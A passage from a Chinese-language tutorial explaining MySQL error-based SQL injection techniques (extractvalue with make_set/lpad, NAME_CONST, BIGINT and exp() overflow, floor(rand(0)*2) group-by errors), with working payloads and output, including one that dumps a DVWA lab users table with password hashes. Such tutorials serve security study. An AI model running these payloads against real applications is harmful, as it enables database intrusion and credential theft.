1为0001,倒过来排序,则为1000,将bits后面的字符串str1,str2等,放置在这个倒过来的二进制排序中,取出值为1对应的字符串,则得到hello

mysql> SELECT MAKE_SET(1 | 4,'hello','nice','world');

-> 'hello,world'

1|4表示进行位或运算,为0001 | 0100,得0101,倒过来排序,为1010,则’hello’,’nice’,’world’得到的是hello word。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,make_set(3,'~',version()));

ERROR 1105 (HY000): XPATH syntax error: '~,5.5.40-log'

2)lpad()

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len’,那么它将被截除到 len个字符。

mysql> SELECT LPAD('hi',4,'??'); -> '??hi'

mysql> select * from mysql.user where user = 'root' and extractvalue(1,lpad((version()),20,'@'));

ERROR 1105 (HY000): XPATH syntax error: '@@@@@@@@@5.5.40-log'

3)repeat()

mysql> select * from mysql.user where user = 'root' and extractvalue(1,repeat((version()),2));

ERROR 1105 (HY000): XPATH syntax error: '.40-log5.5.40-log'

NAME_CONST:

mysql列名重复会报错,我们利用name_const来制造一个列。

mysql> select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'
mysql> select * from mysql.user where user = 'root' and 1=(select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'

但是name_const函数要求参数必须是常量。

mysql> select NAME_CONST(user(),1),NAME_CONST(user(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> select NAME_CONST(database(),1),NAME_CONST(database(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

同样利用这个列不能重复的道理,使用join函数可以爆列名。

mysql> select * from(select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> select * from(select * from user a join user b using(host))c;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> select * from(select * from user a join user b using(host,user))c;
ERROR 1060 (42S21): Duplicate column name 'Password'

几何函数:

例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

mysql> select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing

Mysql测试版本如下:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.5.40-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

该报错注入的适用版本为>=5.5.5,在之前的版本中整形溢出是不会报错的,如下所示:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.1.73-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
+-------------------------------------------+
| exp(~(select * from (select @@version)x)) |
+-------------------------------------------+
|                                      NULL |
+-------------------------------------------+

1 row in set (0.00 sec)


首先看下Mysql存储整形的几种类型:

当BIGINT最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出了。如下所示:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

Mysql逐位取反的特性,从0逐位取反,得到的数字也正是BIGINT中unsigned的数值范围,这个数值进行数学运算时同样会出现溢出错误。如下所示:

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

然后就是利用Mysql子查询的一个特性,当查询结果成功返回时,返回值为0,表达式进行逻辑非运算后,返回值则为1,并且这个返回值也可以进行数学运算。

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.03 sec)
mysql> select (select * from test);
+----------------------+
| (select * from test) |
+----------------------+
| NULL                 |
+----------------------+
1 row in set (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                  NULL |
+-----------------------+
1 row in set (0.00 sec)
mysql> insert into test values ('hehe');
Query OK, 1 row affected (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)
mysql>  select !(select * from test)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hehe' from dual))) + 18446744073709551615)'

获取User():

mysql> select !(select * from (select user())x)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) + ~(0))'
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
mysql> select (select!x-~0.from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

同理,利用exp函数也会产生类似的溢出错误:

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

既然可以通过BIGINT溢出配合子查询进行报错注入,那么就可以在实战当中获取到更多的数据:

mysql> select !x-~0 from (select (select name from test limit 0,1)x)a;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('hehe')) - ~(0))'

另外还可以一次获取多条数据,不过报错信息是有长度限制的,在mysql/my_error.c中可以看到:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

获取多条数据的报错语句如下:

#select:
mysql> select !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#insert:
mysql> insert into users (user_id,user,password) values (2,'' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#update:
mysql> update users set password='root' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#delete:
mysql> delete from users where user_id='1' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

参考文章:
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
https://xianzhi.aliyun.com/forum/read/762.html

很常用的一个SQL报错注入语句:

mysql> select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

这里我新建一张表测试:

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.01 sec)

插入第一条数据,没有报错。

mysql> insert into test set name = 'vincent';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,还是没有报错。

mysql> insert into test set name = 'tom';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,执行SQL发现报错了。

mysql> insert into test set name = 'gary';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

也就是数据库中有三条及以上数据的时候才会报错。


这里我们先来测试一下floor(rand(0)*2)

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
+------------------+
9 rows in set (0.00 sec)

多次测试发现这个查询结果是固定的,即结果就是0 1 1 0 1 1 ….. 其实这个报错就是由于这个固定的数据导致的。


然后说一下count和group的虚拟表

mysql> select * from test;
+---------+
| name |
+---------+
| vincent |
| tom |
| gary |
| gary |
| gary |
| gary |
| tom |
| tom |
| gary |
+---------+
9 rows in set (0.00 sec)
mysql> select name,count(*) from test group by name ;
+---------+----------+
| name | count(*) |
+---------+----------+
| gary | 5 |
| tom | 3 |
| vincent | 1 |
+---------+----------+
3 rows in set (0.00 sec)

这里实际上会创建一张虚拟表,有key和value两个字段,其中key相当于这里的name,不可重复,相当于主键,而value是一个累加的值。
开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1。
这里造成报错的一个最主要原因是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在配合之前我们说到的0 1 1 0 1 1这个固定结果就导致了报错,具体过程如下:
1)查看前先创建了虚表。
2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
key value
1     1
3)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
key value
1     2
4)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5)整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。


参考文章:
https://xianzhi.aliyun.com/forum/read/767.html